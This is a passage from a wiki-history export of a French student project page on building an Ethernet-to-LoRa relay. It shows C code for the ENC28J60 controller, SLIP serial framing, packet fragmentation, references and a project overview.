	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet pour LoRa ne fait que 64 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet du paquet. La dernière case est réservée pour dire le numéro du fragment et vérifier si c'est la fin du paquet. Au niveau de la réception, si le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un, le récepteur va s'arrêter de capter des paquets.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39308</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39308"/>
				<updated>2017-02-19T16:10:06Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Ethernet Module ENC28J60 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. ENC28J60 est Microship Technology récemment introduit controleur Ethernet autonome à 28 broches. La plupart des controleur Ethernet actuellement sur le marché sont plus de paquet à 80 broches, et sont conformes au protocole ENC28J60 IEEE802.3 seulement 28 broches, à la fois pour fournir la fonctionnalité appropriée, et peuvent grandement simplifier la conception connexes, réduisant l’espace. &lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
